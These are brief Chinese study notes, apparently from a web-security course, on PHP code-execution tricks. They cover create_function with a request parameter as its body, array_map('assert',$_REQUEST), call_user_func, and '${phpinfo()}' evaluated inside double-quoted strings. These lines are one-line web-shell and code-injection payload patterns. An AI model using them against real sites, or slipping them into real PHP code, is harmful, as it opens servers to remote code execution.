create_function('$id','$_REQUEST[8]')
可以控制create_function的第二个传参
回调函数
array_map('要调用的函数名','要调用的值') 回调tiao2函数 调用某个函数
array_map('assert',$_REQUEST)控制第二个传参就行

call_user_func()
PHP5.5及以上版本
特殊组合(双引号二次解析)
{}大括号内是可以当做代码执行
"${phpinfo()}"就是 代码执行phpinfo()
PHP版本5.5及其以上版本可以使用 "${phpinfo()}"; => 代码执行phpinfo() PHP的字符串是可以使用复杂的表达式。例如 ${中间可以写调用的函数} ${phpinfo()}; //可以执行 $a = ${phpinfo()}; //可以执行 在PHP的官方文档中也有描述 https://www.php.net/manual/zh/language.types.string.php
课外
'和"的区别
$a='1'不会解析变量
$b="2"会解析变量